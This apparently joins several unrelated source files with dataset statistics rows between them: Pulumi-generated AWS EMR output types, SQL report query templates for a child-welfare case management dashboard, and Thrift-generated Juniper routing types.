"""
return pulumi.get(self, "volumes_per_instance")
@pulumi.output_type
class InstanceFleetLaunchSpecifications(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "onDemandSpecifications":
suggest = "on_demand_specifications"
elif key == "spotSpecifications":
suggest = "spot_specifications"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in InstanceFleetLaunchSpecifications. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
InstanceFleetLaunchSpecifications.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
InstanceFleetLaunchSpecifications.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
on_demand_specifications: Optional[Sequence['outputs.InstanceFleetLaunchSpecificationsOnDemandSpecification']] = None,
spot_specifications: Optional[Sequence['outputs.InstanceFleetLaunchSpecificationsSpotSpecification']] = None):
"""
:param Sequence['InstanceFleetLaunchSpecificationsOnDemandSpecificationArgs'] on_demand_specifications: Configuration block for on demand instances launch specifications
:param Sequence['InstanceFleetLaunchSpecificationsSpotSpecificationArgs'] spot_specifications: Configuration block for spot instances launch specifications
"""
if on_demand_specifications is not None:
pulumi.set(__self__, "on_demand_specifications", on_demand_specifications)
if spot_specifications is not None:
pulumi.set(__self__, "spot_specifications", spot_specifications)
@property
@pulumi.getter(name="onDemandSpecifications")
def on_demand_specifications(self) -> Optional[Sequence['outputs.InstanceFleetLaunchSpecificationsOnDemandSpecification']]:
"""
Configuration block for on demand instances launch specifications
"""
return pulumi.get(self, "on_demand_specifications")
@property
@pulumi.getter(name="spotSpecifications")
def spot_specifications(self) -> Optional[Sequence['outputs.InstanceFleetLaunchSpecificationsSpotSpecification']]:
"""
Configuration block for spot instances launch specifications
"""
return pulumi.get(self, "spot_specifications")
@pulumi.output_type
class InstanceFleetLaunchSpecificationsOnDemandSpecification(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "allocationStrategy":
suggest = "allocation_strategy"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in InstanceFleetLaunchSpecificationsOnDemandSpecification. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
InstanceFleetLaunchSpecificationsOnDemandSpecification.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
InstanceFleetLaunchSpecificationsOnDemandSpecification.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
allocation_strategy: str):
"""
:param str allocation_strategy: Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
pulumi.set(__self__, "allocation_strategy", allocation_strategy)
@property
@pulumi.getter(name="allocationStrategy")
def allocation_strategy(self) -> str:
"""
Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
return pulumi.get(self, "allocation_strategy")
@pulumi.output_type
class InstanceFleetLaunchSpecificationsSpotSpecification(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "allocationStrategy":
suggest = "allocation_strategy"
elif key == "timeoutAction":
suggest = "timeout_action"
elif key == "timeoutDurationMinutes":
suggest = "timeout_duration_minutes"
elif key == "blockDurationMinutes":
suggest = "block_duration_minutes"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in InstanceFleetLaunchSpecificationsSpotSpecification. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
InstanceFleetLaunchSpecificationsSpotSpecification.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
InstanceFleetLaunchSpecificationsSpotSpecification.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
allocation_strategy: str,
timeout_action: str,
timeout_duration_minutes: int,
block_duration_minutes: Optional[int] = None):
"""
:param str allocation_strategy: Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
:param str timeout_action: The action to take when TargetSpotCapacity has not been fulfilled when the TimeoutDurationMinutes has expired; that is, when all Spot instances could not be provisioned within the Spot provisioning timeout. Valid values are `TERMINATE_CLUSTER` and `SWITCH_TO_ON_DEMAND`. SWITCH_TO_ON_DEMAND specifies that if no Spot instances are available, On-Demand Instances should be provisioned to fulfill any remaining Spot capacity.
:param int timeout_duration_minutes: The spot provisioning timeout period in minutes. If Spot instances are not provisioned within this time period, the TimeOutAction is taken. Minimum value is 5 and maximum value is 1440. The timeout applies only during initial provisioning, when the cluster is first created.
:param int block_duration_minutes: The defined duration for Spot instances (also known as Spot blocks) in minutes. When specified, the Spot instance does not terminate before the defined duration expires, and defined duration pricing for Spot instances applies. Valid values are 60, 120, 180, 240, 300, or 360. The duration period starts as soon as a Spot instance receives its instance ID. At the end of the duration, Amazon EC2 marks the Spot instance for termination and provides a Spot instance termination notice, which gives the instance a two-minute warning before it terminates.
"""
pulumi.set(__self__, "allocation_strategy", allocation_strategy)
pulumi.set(__self__, "timeout_action", timeout_action)
pulumi.set(__self__, "timeout_duration_minutes", timeout_duration_minutes)
if block_duration_minutes is not None:
pulumi.set(__self__, "block_duration_minutes", block_duration_minutes)
@property
@pulumi.getter(name="allocationStrategy")
def allocation_strategy(self) -> str:
"""
Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
return pulumi.get(self, "allocation_strategy")
@property
@pulumi.getter(name="timeoutAction")
def timeout_action(self) -> str:
"""
The action to take when TargetSpotCapacity has not been fulfilled when the TimeoutDurationMinutes has expired; that is, when all Spot instances could not be provisioned within the Spot provisioning timeout. Valid values are `TERMINATE_CLUSTER` and `SWITCH_TO_ON_DEMAND`. SWITCH_TO_ON_DEMAND specifies that if no Spot instances are available, On-Demand Instances should be provisioned to fulfill any remaining Spot capacity.
"""
return pulumi.get(self, "timeout_action")
@property
@pulumi.getter(name="timeoutDurationMinutes")
def timeout_duration_minutes(self) -> int:
"""
The spot provisioning timeout period in minutes. If Spot instances are not provisioned within this time period, the TimeOutAction is taken. Minimum value is 5 and maximum value is 1440. The timeout applies only during initial provisioning, when the cluster is first created.
"""
return pulumi.get(self, "timeout_duration_minutes")
@property
@pulumi.getter(name="blockDurationMinutes")
def block_duration_minutes(self) -> Optional[int]:
"""
The defined duration for Spot instances (also known as Spot blocks) in minutes. When specified, the Spot instance does not terminate before the defined duration expires, and defined duration pricing for Spot instances applies. Valid values are 60, 120, 180, 240, 300, or 360. The duration period starts as soon as a Spot instance receives its instance ID. At the end of the duration, Amazon EC2 marks the Spot instance for termination and provides a Spot instance termination notice, which gives the instance a two-minute warning before it terminates.
"""
return pulumi.get(self, "block_duration_minutes")
@pulumi.output_type
class InstanceGroupEbsConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "volumesPerInstance":
suggest = "volumes_per_instance"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in InstanceGroupEbsConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
InstanceGroupEbsConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
InstanceGroupEbsConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
size: int,
type: str,
iops: Optional[int] = None,
volumes_per_instance: Optional[int] = None):
"""
:param int size: The volume size, in gibibytes (GiB). This can be a number from 1 - 1024. If the volume type is EBS-optimized, the minimum value is 10.
:param str type: The volume type. Valid options are 'gp2', 'io1' and 'standard'.
:param int iops: The number of I/O operations per second (IOPS) that the volume supports.
:param int volumes_per_instance: The number of EBS Volumes to attach per instance.
"""
pulumi.set(__self__, "size", size)
pulumi.set(__self__, "type", type)
if iops is not None:
pulumi.set(__self__, "iops", iops)
if volumes_per_instance is not None:
pulumi.set(__self__, "volumes_per_instance", volumes_per_instance)
@property
@pulumi.getter
def size(self) -> int:
"""
The volume size, in gibibytes (GiB). This can be a number from 1 - 1024. If the volume type is EBS-optimized, the minimum value is 10.
"""
return pulumi.get(self, "size")
@property
@pulumi.getter
def type(self) -> str:
"""
The volume type. Valid options are 'gp2', 'io1' and 'standard'.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def iops(self) -> Optional[int]:
"""
The number of I/O operations per second (IOPS) that the volume supports.
"""
return pulumi.get(self, "iops")
@property
@pulumi.getter(name="volumesPerInstance")
def volumes_per_instance(self) -> Optional[int]:
"""
The number of EBS Volumes to attach per instance.
"""
return pulumi.get(self, "volumes_per_instance")
@pulumi.output_type
class ManagedScalingPolicyComputeLimit(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "maximumCapacityUnits":
suggest = "maximum_capacity_units"
elif key == "minimumCapacityUnits":
suggest = "minimum_capacity_units"
elif key == "unitType":
suggest = "unit_type"
elif key == "maximumCoreCapacityUnits":
suggest = "maximum_core_capacity_units"
elif key == "maximumOndemandCapacityUnits":
suggest = "maximum_ondemand_capacity_units"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ManagedScalingPolicyComputeLimit. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ManagedScalingPolicyComputeLimit.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ManagedScalingPolicyComputeLimit.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
maximum_capacity_units: int,
minimum_capacity_units: int,
unit_type: str,
maximum_core_capacity_units: Optional[int] = None,
maximum_ondemand_capacity_units: Optional[int] = None):
"""
:param int maximum_capacity_units: The upper boundary of EC2 units. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. Managed scaling activities are not allowed beyond this boundary. The limit only applies to the core and task nodes. The master node cannot be scaled after initial configuration.
:param int minimum_capacity_units: The lower boundary of EC2 units. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. Managed scaling activities are not allowed beyond this boundary. The limit only applies to the core and task nodes. The master node cannot be scaled after initial configuration.
:param str unit_type: The unit type used for specifying a managed scaling policy. Valid Values: `InstanceFleetUnits` | `Instances` | `VCPU`
:param int maximum_core_capacity_units: The upper boundary of EC2 units for core node type in a cluster. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. The core units are not allowed to scale beyond this boundary. The parameter is used to split capacity allocation between core and task nodes.
:param int maximum_ondemand_capacity_units: The upper boundary of On-Demand EC2 units. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. The On-Demand units are not allowed to scale beyond this boundary. The parameter is used to split capacity allocation between On-Demand and Spot instances.
"""
pulumi.set(__self__, "maximum_capacity_units", maximum_capacity_units)
pulumi.set(__self__, "minimum_capacity_units", minimum_capacity_units)
pulumi.set(__self__, "unit_type", unit_type)
if maximum_core_capacity_units is not None:
pulumi.set(__self__, "maximum_core_capacity_units", maximum_core_capacity_units)
if maximum_ondemand_capacity_units is not None:
pulumi.set(__self__, "maximum_ondemand_capacity_units", maximum_ondemand_capacity_units)
@property
@pulumi.getter(name="maximumCapacityUnits")
def maximum_capacity_units(self) -> int:
"""
The upper boundary of EC2 units. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. Managed scaling activities are not allowed beyond this boundary. The limit only applies to the core and task nodes. The master node cannot be scaled after initial configuration.
"""
return pulumi.get(self, "maximum_capacity_units")
@property
@pulumi.getter(name="minimumCapacityUnits")
def minimum_capacity_units(self) -> int:
"""
The lower boundary of EC2 units. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. Managed scaling activities are not allowed beyond this boundary. The limit only applies to the core and task nodes. The master node cannot be scaled after initial configuration.
"""
return pulumi.get(self, "minimum_capacity_units")
@property
@pulumi.getter(name="unitType")
def unit_type(self) -> str:
"""
The unit type used for specifying a managed scaling policy. Valid Values: `InstanceFleetUnits` | `Instances` | `VCPU`
"""
return pulumi.get(self, "unit_type")
@property
@pulumi.getter(name="maximumCoreCapacityUnits")
def maximum_core_capacity_units(self) -> Optional[int]:
"""
The upper boundary of EC2 units for core node type in a cluster. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. The core units are not allowed to scale beyond this boundary. The parameter is used to split capacity allocation between core and task nodes.
"""
return pulumi.get(self, "maximum_core_capacity_units")
@property
@pulumi.getter(name="maximumOndemandCapacityUnits")
def maximum_ondemand_capacity_units(self) -> Optional[int]:
"""
The upper boundary of On-Demand EC2 units. It is measured through VCPU cores or instances for instance groups and measured through units for instance fleets. The On-Demand units are not allowed to scale beyond this boundary. The parameter is used to split capacity allocation between On-Demand and Spot instances.
"""
return pulumi.get(self, "maximum_ondemand_capacity_units")
| 49.891012
| 594
| 0.69233
| 13,266
| 114,899
| 5.784788
| 0.038369
| 0.014047
| 0.021514
| 0.031443
| 0.863645
| 0.844334
| 0.832267
| 0.802648
| 0.801358
| 0.792419
| 0
| 0.004362
| 0.225885
| 114,899
| 2,302
| 595
| 49.912685
| 0.858429
| 0.362753
| 0
| 0.778547
| 1
| 0.018685
| 0.222148
| 0.120808
| 0
| 0
| 0
| 0
| 0
| 1
| 0.165398
| false
| 0.015917
| 0.004152
| 0.002768
| 0.316263
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4d8093a7d7df0ff498e32e1fcd3e16da77190084
| 11,687
|
py
|
Python
|
cpims/cpovc_dashboard/queries.py
|
sizler20/cpims_update
|
23b86e40ca779b751383e268ad4fbf6a321ab211
|
[
"MIT"
] | null | null | null |
cpims/cpovc_dashboard/queries.py
|
sizler20/cpims_update
|
23b86e40ca779b751383e268ad4fbf6a321ab211
|
[
"MIT"
] | null | null | null |
cpims/cpovc_dashboard/queries.py
|
sizler20/cpims_update
|
23b86e40ca779b751383e268ad4fbf6a321ab211
|
[
"MIT"
] | 1
|
2022-02-27T13:36:47.000Z
|
2022-02-27T13:36:47.000Z
|
QUERIES = {}
QUERIES['1A'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, agerange
from vw_cpims_registration {ocbos} {oareas} {odate}
group by gender, agerange
'''
QUERIES['1B'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id,
CASE exit_status WHEN 'ACTIVE' THEN 'Active'
ELSE 'Exited' END AS active_status
from vw_cpims_registration {ocbos} {oareas} {odate}
group by gender, active_status
UNION
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Ever Registered' AS active_status
from vw_cpims_registration {ocbos} {oareas} {odate}
group by gender
'''
QUERIES['1C'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, schoollevel as school_level
from vw_cpims_registration where exit_status='ACTIVE' {cbos} {areas} {fdate}
group by gender, schoollevel
'''
QUERIES['1D'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Active' as services
from vw_cpims_registration where exit_status='ACTIVE' {cbos} {areas} {fdate}
group by gender
UNION
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Has Birth Certificate' as services
from vw_cpims_registration where exit_status='ACTIVE'
and birthcert = 'HAS BIRTHCERT' {cbos} {areas} {fdate}
group by gender
UNION
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Has Disability' as services
from vw_cpims_registration where exit_status='ACTIVE'
and ovcdisability = 'HAS DISABILITY' {cbos} {areas} {fdate}
group by gender
UNION
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'School Going' as services
from vw_cpims_registration where exit_status='ACTIVE'
and schoollevel != 'Not in School' {cbos} {areas} {fdate}
group by gender
'''
QUERIES['1E'] = '''
Select count(distinct(cpims_ovc_id)) AS dcount,
gender as sex_id,
CASE
when ovchivstatus='POSITIVE' THEN 'HIV Status +Ve'
when ovchivstatus='NEGATIVE' THEN 'HIV Status -Ve'
when ovchivstatus='NOT KNOWN' THEN 'HIV Status Unknown'
when ovchivstatus='HIV Test Not Required' THEN 'HIV Test not Required'
when ovchivstatus='HIV Referred For Testing' THEN 'HIV Referred For Testing'
ELSE 'Others' END AS hivstat
from vw_cpims_registration where exit_status='ACTIVE' {cbos} {areas} {fdate}
group by gender, ovchivstatus
'''
QUERIES['1F'] = '''
SELECT count(cpims_ovc_id) as dcount,
gender as sex_id, eligibility
from vw_cpims_registration {ocbos} {oareas} {odate}
group by gender, eligibility
'''
QUERIES['1G'] = '''
SELECT count(cpims_ovc_id) as dcount,
gender as sex_id, exit_reason
from vw_cpims_registration where exit_status = 'EXITED' {cbos} {areas} {fdate}
group by gender, exit_reason order by count(cpims_ovc_id) desc
'''
QUERIES['1H'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'OVC Registration' as services
from vw_cpims_registration where exit_status = 'ACTIVE' {cbos} {areas} {dates}
group by gender
UNION
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'OVC Exit' as services
from vw_cpims_registration where exit_status = 'EXITED' {cbos} {areas} {dates}
group by gender
'''
QUERIES['2A'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Active' as hivstat
from vw_cpims_registration where exit_status='ACTIVE' {cbos} {fdate}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) AS dcount,
gender as sex_id, 'Positive' as hivstat
from vw_cpims_registration where exit_status='ACTIVE'
and ovchivstatus='POSITIVE' {cbos} {fdate} group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'On ART' as hivstat
from vw_cpims_registration where exit_status='ACTIVE'
and ovchivstatus='POSITIVE' AND artstatus='ART' {cbos} {fdate}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'VL Accessed' as hivstat
from vw_cpims_viral_load {ocbos}
group by gender
UNION
Select count(distinct(v.cpims_ovc_id)) as dcount,
v.gender as sex_id, 'Current VL' as hivstat
from vw_cpims_viral_load v
inner join (
select cpims_ovc_id, max(date_of_event) as most_current_vl_date
from vw_cpims_viral_load
group by cpims_ovc_id ) vl on v.cpims_ovc_id = vl.cpims_ovc_id
and v.date_of_event=vl.most_current_vl_date
where current_date - vl.most_current_vl_date <= 400 {vcbos}
group by v.gender
UNION
Select count(distinct(v.cpims_ovc_id)) AS dcount,
v.gender as sex_id, 'Suppressed' as hivstat
from vw_cpims_viral_load v
inner join (
select cpims_ovc_id, max(date_of_event) as most_current_vl_date
from vw_cpims_viral_load
group by cpims_ovc_id ) vl on v.cpims_ovc_id = vl.cpims_ovc_id
and v.date_of_event=vl.most_current_vl_date
where current_date - vl.most_current_vl_date <= 400
and v.viral_load < 1001 {vcbos} group by v.gender
UNION
Select count(distinct(v.cpims_ovc_id)) AS dcount,
v.gender as sex_id, 'Not Suppressed' as hivstat
from vw_cpims_viral_load v
inner join (
select cpims_ovc_id, max(date_of_event) as most_current_vl_date
from vw_cpims_viral_load
group by cpims_ovc_id ) vl on v.cpims_ovc_id=vl.cpims_ovc_id
and v.date_of_event=vl.most_current_vl_date
where current_date - vl.most_current_vl_date <=400
and v.viral_load > 1000 {vcbos}
group by v.gender
'''
QUERIES['2B'] = '''
Select count(distinct(cpims_ovc_id)) as dcount, gender as sex_id, agerange
from vw_cpims_viral_load where (current_date - date_of_event) < 401
and viral_load > 10000 {cbos} group by gender, agerange
'''
QUERIES['2C'] = '''
select sum(x.cnt) as dcount, x.gender as sex_id,
'OVC_SERV' as hivstat from
(
Select count(distinct(cpims_ovc_id)) as cnt,
gender from vw_cpims_active_beneficiary {ocbos}
group by gender
UNION ALL
Select count(distinct(cpims_ovc_id)), gender
from vw_cpims_benchmark_achieved where (current_date - date_of_event) <= 400
AND cpara_score = 17 {cbos} group by gender
) x group by x.gender
UNION
Select count(distinct(cpims_ovc_id)) AS dcount,
gender as sex_id,
CASE
when ovchivstatus='POSITIVE' THEN 'HIV Status +Ve'
when ovchivstatus='NEGATIVE' THEN 'HIV Status -Ve'
when ovchivstatus='NOT KNOWN' THEN 'HIV Status Unknown'
when ovchivstatus='HIV Test Not Required' THEN 'HIV Test not Required'
when ovchivstatus='HIV Referred For Testing' THEN 'HIV Referred For Testing'
ELSE 'Others' END AS hivstat
from vw_cpims_registration where cpims_ovc_id in
(select distinct(x.cpims_ovc_id) from
(
Select distinct(cpims_ovc_id)
from vw_cpims_active_beneficiary {ocbos}
UNION ALL
Select distinct(cpims_ovc_id)
from vw_cpims_benchmark_achieved where (current_date - date_of_event) <= 400
AND cpara_score = 17 {cbos}
) x)
and exit_status='ACTIVE' {cbos} {areas} {fdate}
group by gender, ovchivstatus
'''
QUERIES['2D'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
'Male' as sex_id, 'HIV Status' as hivstat
from vw_cpims_registration where exit_status='ACTIVE' {cbos}
UNION
Select count(distinct(cpims_ovc_id)) AS dcount,
'Male' as sex_id, 'ART Status' as hivstat
from vw_cpims_registration where exit_status='ACTIVE'
and ovchivstatus='POSITIVE' {cbos}
UNION
Select count(distinct(v.cpims_ovc_id)) as dcount,
'Male' as sex_id, 'Suppression' as hivstat
from vw_cpims_viral_load v
inner join (
select cpims_ovc_id, max(date_of_event) as most_current_vl_date
from vw_cpims_viral_load
group by cpims_ovc_id ) vl on v.cpims_ovc_id = vl.cpims_ovc_id
and v.date_of_event=vl.most_current_vl_date
where current_date - vl.most_current_vl_date <= 400 {vcbos}
UNION
Select count(distinct(cpims_ovc_id)) AS dcount,
'Female' as sex_id, 'HIV Status' as hivstat
from vw_cpims_registration where exit_status='ACTIVE'
and (ovchivstatus='POSITIVE' or ovchivstatus='NEGATIVE'
or ovchivstatus='NOT KNOWN' or ovchivstatus='HIV Test Not Required'
or ovchivstatus='HIV Referred For Testing') {cbos}
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
'Female' as sex_id, 'ART Status' as hivstat
from vw_cpims_registration where exit_status='ACTIVE'
and ovchivstatus='POSITIVE' AND artstatus='ART' {cbos}
UNION
Select count(distinct(v.cpims_ovc_id)) AS dcount,
'Female' as sex_id, 'Suppression' as hivstat
from vw_cpims_viral_load v
inner join (
select cpims_ovc_id, max(date_of_event) as most_current_vl_date
from vw_cpims_viral_load
group by cpims_ovc_id ) vl on v.cpims_ovc_id = vl.cpims_ovc_id
and v.date_of_event=vl.most_current_vl_date
where current_date - vl.most_current_vl_date <= 400
and v.viral_load < 1001 {vcbos}
'''
QUERIES['3A'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Active' as services
from vw_cpims_registration where exit_status='ACTIVE' {cbos} group by gender
UNION
Select count(distinct(person_id)) AS dcount,
gender as sex_id, 'Served Two Quarters' as services
from vw_cpims_two_quarters where (current_date - date_of_event) <=400 {cbos}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender, 'Case Plans' as services
from vw_cpims_case_plan where (current_date - date_of_event) <= 400 {cbos}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender, 'CPARA' as services
from vw_cpims_cpara where (current_date - date_of_event) <= 400 {cbos}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Graduated' as services
from vw_cpims_benchmark_achieved
where (current_date - date_of_event) <= 400
AND cpara_score = 17 {cbos}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Active Beneficiary' as services
from vw_cpims_active_beneficiary {ocbos}
group by gender
UNION
select sum(x.cnt) as dcount, x.gender as sex_id,
'OVC_SERV' as hivstat from
(
Select count(distinct(cpims_ovc_id)) as cnt,
gender from vw_cpims_active_beneficiary {ocbos}
group by gender
UNION ALL
Select count(distinct(cpims_ovc_id)), gender
from vw_cpims_benchmark_achieved where (current_date - date_of_event) <= 400
AND cpara_score = 17 {cbos} group by gender
) x group by x.gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Exit without Graduation' as services
from vw_cpims_registration where exit_status='ACTIVE'
AND cpims_ovc_id NOT IN
(select distinct(vw_cpims_registration.cpims_ovc_id)
from vw_cpims_two_quarters ) {cbos}
group by gender
'''
QUERIES['3B'] = '''
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, domain as services
from vw_cpims_list_served {ocbos} group by gender, domain
'''
QUERIES['3C'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'OVC Comprehensive' as services
from vw_cpims_registration where exit_status='ACTIVE' {cbos} group by gender
'''
QUERIES['3D'] = '''
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, cpara_score as services
from vw_cpims_benchmark_achieved
where (current_date - date_of_event) <= 400 {cbos}
group by gender, cpara_score
'''
QUERIES['3E'] = '''
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, service as services
from vw_cpims_list_served
where {odates} {cbos}
group by gender, service
order by dcount desc
'''
QUERIES['4A'] = '''
SELECT count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, 'Active' as services
from vw_cpims_registration where exit_status='ACTIVE' {cbos} group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender, 'Current Case Plan' as services
from vw_cpims_case_plan where (current_date - date_of_event) <= 400 {cbos}
group by gender
UNION
Select count(distinct(cpims_ovc_id)) as dcount,
gender, 'Current CPARA' as services
from vw_cpims_cpara where (current_date - date_of_event) <= 400 {cbos}
group by gender
'''
QUERIES['4B'] = '''
Select count(distinct(cpims_ovc_id)) as dcount,
gender as sex_id, graduationpath as services
from vw_cpims_benchmark_achieved
where (current_date - date_of_event) <= 400 {cbos}
group by gender, graduationpath;
'''
| 33.973837
| 78
| 0.786772
| 1,933
| 11,687
| 4.51164
| 0.072944
| 0.066965
| 0.083706
| 0.060544
| 0.901617
| 0.875817
| 0.85942
| 0.845545
| 0.83878
| 0.836487
| 0
| 0.009225
| 0.11885
| 11,687
| 343
| 79
| 34.072886
| 0.837638
| 0
| 0
| 0.675926
| 0
| 0
| 0.963121
| 0.242492
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4dcc1c95e3f1d9c3c8ffa56288eb95a0bb6375ac
| 28,754
|
py
|
Python
|
jet-python/build/lib.linux-x86_64-2.7/jnpr/jet/routing_prpd_common/ttypes.py
|
Juniper/vmx-docker-lwaftr
|
ebbedad67d8acd74f4a305a0a4ad6bf2ed716e7e
|
[
"Apache-2.0"
] | 31
|
2016-11-22T06:17:37.000Z
|
2022-01-10T05:41:02.000Z
|
jet-python/build/lib.linux-x86_64-2.7/jnpr/jet/routing_prpd_common/ttypes.py
|
Juniper/vmx-docker-lwaftr
|
ebbedad67d8acd74f4a305a0a4ad6bf2ed716e7e
|
[
"Apache-2.0"
] | 2
|
2016-12-20T13:53:57.000Z
|
2017-03-27T20:10:07.000Z
|
jet-python/lib/jnpr/jet/routing_prpd_common/ttypes.py
|
Juniper/vmx-docker-lwaftr
|
ebbedad67d8acd74f4a305a0a4ad6bf2ed716e7e
|
[
"Apache-2.0"
] | 8
|
2017-01-31T22:18:18.000Z
|
2020-02-05T10:33:23.000Z
|
#
# Autogenerated by Thrift Compiler (0.9.1)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TException, TApplicationException
import jnpr.jet.jnxBase_jnx_addr.ttypes
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol, TProtocol
try:
from thrift.protocol import fastbinary
except:
fastbinary = None
class RoutingReturnCode:
RET_SUCCESS = 0
RET_FAILURE = 1
RET_NOT_FOUND = 2
RET_INVALID_PARAMS = 3
_VALUES_TO_NAMES = {
0: "RET_SUCCESS",
1: "RET_FAILURE",
2: "RET_NOT_FOUND",
3: "RET_INVALID_PARAMS",
}
_NAMES_TO_VALUES = {
"RET_SUCCESS": 0,
"RET_FAILURE": 1,
"RET_NOT_FOUND": 2,
"RET_INVALID_PARAMS": 3,
}
class RoutingRouteTableFormat:
TABLE_STRING = 0
TABLE_ID = 1
_VALUES_TO_NAMES = {
0: "TABLE_STRING",
1: "TABLE_ID",
}
_NAMES_TO_VALUES = {
"TABLE_STRING": 0,
"TABLE_ID": 1,
}
class RoutingRouteAfType:
RT_AF_UNSPEC = 0
RT_AF_INET = 1
RT_AF_INET6 = 2
RT_AF_INETVPN = 3
RT_AF_INET6VPN = 4
_VALUES_TO_NAMES = {
0: "RT_AF_UNSPEC",
1: "RT_AF_INET",
2: "RT_AF_INET6",
3: "RT_AF_INETVPN",
4: "RT_AF_INET6VPN",
}
_NAMES_TO_VALUES = {
"RT_AF_UNSPEC": 0,
"RT_AF_INET": 1,
"RT_AF_INET6": 2,
"RT_AF_INETVPN": 3,
"RT_AF_INET6VPN": 4,
}
class RoutingRouteTableName:
"""
Attributes:
- name
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'name', None, None, ), # 1
)
def __init__(self, name=None,):
self.name = name
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
